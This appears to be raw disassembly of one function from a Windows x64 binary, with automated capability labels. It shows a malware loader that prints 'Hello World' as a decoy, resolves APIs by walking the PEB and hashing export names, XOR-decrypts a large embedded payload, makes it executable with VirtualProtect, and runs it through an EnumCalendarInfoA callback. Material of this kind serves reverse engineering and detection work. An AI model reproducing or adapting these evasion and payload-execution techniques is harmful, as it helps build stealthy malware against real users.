Function at 0x140001580
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
mov rax, qword [0x140050040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Hello_World__n
call fcn.140001310
mov word [rsp + 0x3e], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 3
xor edi, edi
lea rcx, [rsp + 0x3e]
mov edx, 0x80000000
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x14000161c
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140001c70
mov eax, edi
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword gs:[0x30]
test rax, rax
je 0x1400015f6
mov rsi, qword [rax + 0x60]
test rsi, rsi
je 0x1400015f6
cmp dword [rsi + 0x118], 0xa
jne 0x1400015f6
mov rax, qword [rsi + 0x18]
mov rax, qword [rax + 0x20]
mov rbx, qword [rax]
mov rcx, qword [rbx + 0x50]
lea rdx, str.kernel32.dll
mov r8d, 0xc
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
test eax, eax
je 0x14000169d
mov rax, qword [rsi + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x50]
lea rdx, str.kernel32.dll
mov r8d, 0xc
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
test eax, eax
jne 0x1400015f6
mov rax, qword [rsi + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
mov rbx, qword [rax]
mov rsi, qword [rbx + 0x20]
test rsi, rsi
je 0x1400015f6
movzx eax, word [rsi]
mov edi, 1
cmp eax, 0x5a4d
jne 0x1400015f6
movsxd rax, dword [rsi + 0x3c]
cmp dword [rsi + rax], 0x4550
jne 0x1400015f6
mov r8d, dword [rsi + rax + 0x88]
mov eax, dword [rsi + r8 + 0x18]
test eax, eax
je 0x14000177a
mov ecx, dword [rsi + r8 + 0x1c]
add rcx, rsi
mov edx, dword [rsi + r8 + 0x20]
add rdx, rsi
mov r8d, dword [rsi + r8 + 0x24]
add r8, rsi
lea r9, [rsi + 1]
xor r14d, r14d
movabs r10, 0x7734773477347734
movabs r11, 0x7e5c872c2386c38e
xor edi, edi
jmp 0x140001723
inc edi
movzx ebx, di
cmp eax, ebx
jbe 0x14000177d
movzx ebx, di
mov r15d, dword [rdx + rbx*4]
movzx ebp, byte [rsi + r15]
test bpl, bpl
je 0x14000171a
movzx ebx, word [r8 + rbx*2]
mov ebx, dword [rcx + rbx*4]
add r15, r9
mov r12, r10
nop word cs:[rax + rax]
mov r13, r12
shl r13, 5
add r13, r12
movzx r12d, bpl
add r12, r13
movzx ebp, byte [r15]
inc r15
test bpl, bpl
jne 0x140001750
cmp r12, r11
jne 0x14000171a
add rbx, rsi
mov r14, rbx
jmp 0x14000171a
xor r14d, r14d
movabs rax, 0x41797261726269
mov qword [rsp + 0x95], rax
movabs rax, 0x7262694c64616f4c
mov qword [rsp + 0x90], rax
lea rdx, [rsp + 0x90]
mov rcx, rsi
call r14
movabs rcx, 0x6c6c642e7364
mov qword [rsp + 0x86], rcx
movabs rcx, 0x7364657669746361
mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x80]
call rax
movabs rcx, 0x6d654d734441
mov qword [rsp + 0x77], rcx
movabs rcx, 0x41636f6c6c616552
mov qword [rsp + 0x70], rcx
lea rdx, [rsp + 0x70]
mov rcx, rax
call r14
mov rbx, rax
movaps xmm0, xmmword [str.VirtualProtect]
movaps xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
mov rcx, rsi
call r14
mov rdi, rax
movaps xmm0, xmmword [str.EnumCalendarInfoA]
movaps xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x4f], 0x416f
lea rdx, [rsp + 0x40]
mov rcx, rsi
call r14
mov rsi, rax
xor ecx, ecx
mov edx, 0x4b030
mov r8d, 0x4b030
call rbx
mov rbx, rax
movzx ecx, byte [0x140050030]
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
mov edx, 0x30
lea rax, section..data
nop dword [rax]
movdqa xmm1, xmmword [rdx + rax - 0x30]
pxor xmm1, xmm0
movdqa xmm2, xmmword [rdx + rax - 0x20]
pxor xmm2, xmm0
movdqa xmmword [rdx + rax - 0x30], xmm1
movdqa xmmword [rdx + rax - 0x20], xmm2
cmp rdx, 0x4b030
je 0x1400018cd
movdqa xmm1, xmmword [rdx + rax - 0x10]
pxor xmm1, xmm0
movdqa xmm2, xmmword [rdx + rax]
pxor xmm2, xmm0
movdqa xmmword [rdx + rax - 0x10], xmm1
movdqa xmmword [rdx + rax], xmm2
add rdx, 0x40
jmp 0x140001880
movzx ecx, cl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0x44
pxor xmm0, xmmword [0x140050020]
movdqa xmmword [0x140050020], xmm0
movzx ecx, byte [0x140050031]
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
mov edx, 0x30
movdqa xmm1, xmmword [rdx + rax - 0x30]
pxor xmm1, xmm0
movdqa xmm2, xmmword [rdx + rax - 0x20]
pxor xmm2, xmm0
movdqa xmmword [rdx + rax - 0x30], xmm1
movdqa xmmword [rdx + rax - 0x20], xmm2
cmp rdx, 0x4b030
je 0x14000195d
movdqa xmm1, xmmword [rdx + rax - 0x10]
pxor xmm1, xmm0
movdqa xmm2, xmmword [rdx + rax]
pxor xmm2, xmm0
movdqa xmmword [rdx + rax - 0x10], xmm1
movdqa xmmword [rdx + rax], xmm2
add rdx, 0x40
jmp 0x140001910
movzx ecx, cl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0x44
pxor xmm0, xmmword [0x140050020]
movdqa xmmword [0x140050020], xmm0
mov rcx, rbx
sub rcx, rax
cmp rcx, 0x20
jae 0x1400019d9
mov ecx, 5
movzx edx, byte [rcx + rax - 5]
mov byte [rbx + rcx - 5], dl
movzx edx, byte [rcx + rax - 4]
mov byte [rbx + rcx - 4], dl
movzx edx, byte [rcx + rax - 3]
mov byte [rbx + rcx - 3], dl
movzx edx, byte [rcx + rax - 2]
mov byte [rbx + rcx - 2], dl
movzx edx, byte [rcx + rax - 1]
mov byte [rbx + rcx - 1], dl
movzx edx, byte [rcx + rax]
mov byte [rbx + rcx], dl
add rcx, 6
cmp rcx, 0x4b035
jne 0x140001993
jmp 0x140001a5b
mov ecx, 0x70
movaps xmm0, xmmword [rcx + rax - 0x70]
movaps xmm1, xmmword [rcx + rax - 0x60]
movups xmmword [rbx + rcx - 0x70], xmm0
movups xmmword [rbx + rcx - 0x60], xmm1
cmp rcx, 0x4b070
je 0x140001a3f
movaps xmm0, xmmword [rcx + rax - 0x50]
movaps xmm1, xmmword [rcx + rax - 0x40]
movups xmmword [rbx + rcx - 0x50], xmm0
movups xmmword [rbx + rcx - 0x40], xmm1
movaps xmm0, xmmword [rcx + rax - 0x30]
movaps xmm1, xmmword [rcx + rax - 0x20]
movups xmmword [rbx + rcx - 0x30], xmm0
movups xmmword [rbx + rcx - 0x20], xmm1
movdqa xmm0, xmmword [rcx + rax - 0x10]
movdqa xmm1, xmmword [rcx + rax]
movdqu xmmword [rbx + rcx - 0x10], xmm0
movdqu xmmword [rbx + rcx], xmm1
sub rcx, 0xffffffffffffff80
jmp 0x1400019de
mov rax, qword [0x140050020]
mov qword [rbx + 0x4b020], rax
mov rax, qword [0x140050028]
mov qword [rbx + 0x4b028], rax
call fcn.140001000
lea r9, [rsp + 0x38]
mov edx, 0x4b030
mov rcx, rbx
mov r8d, 0x40
call rdi
lea rdx, [0x14000320a]
lea r8, str.error
xor edi, edi
xor ecx, ecx
mov r9d, 0x40000
call qword [sym.imp.USER32.dll_MessageBoxW]
call fcn.140001000
mov rcx, rbx
mov edx, 0x800
mov r8d, 0xffffffff
mov r9d, 1
call rsi
jmp 0x1400015f6